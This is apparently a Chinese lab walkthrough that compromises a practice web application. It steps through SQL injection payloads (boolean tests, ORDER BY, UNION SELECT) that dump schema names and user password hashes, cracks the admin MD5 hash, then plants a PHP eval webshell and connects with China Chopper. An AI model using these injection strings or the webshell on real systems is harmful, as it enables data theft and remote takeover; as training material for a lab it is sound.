打开虚拟机切换NAT模式进行端口扫描得到对应的ip地址到网页访问
扫描目录
访问uploads目录的可以看到下面的用户登录然后注册用户
登录我们注册的账号
点击search会出现很多书名
验证sql注入
Windows OS' and 1=1# 正常显示
Windows OS' and 1=2# 显示异常
判断字数段
Windows OS' order by 3# 正常
Windows OS' order by 4# 异常 证明有3列
查看回显位置
-1' union select 1,2,3#
查看库名
-1' union select database(),2,3#
查看表名
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#
查看表中所有列
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#
查看表中的user和password
-1' union select group_concat(user),group_concat(pasword),3 from users#
md5解密
superadmin,2386acb2cf356944177746fc92523983,Uncrackable
登录superadmin用户
创建php文件添加一句话木马<?php @eval ($_POST['cmd']); ?>
打开中国菜刀 连接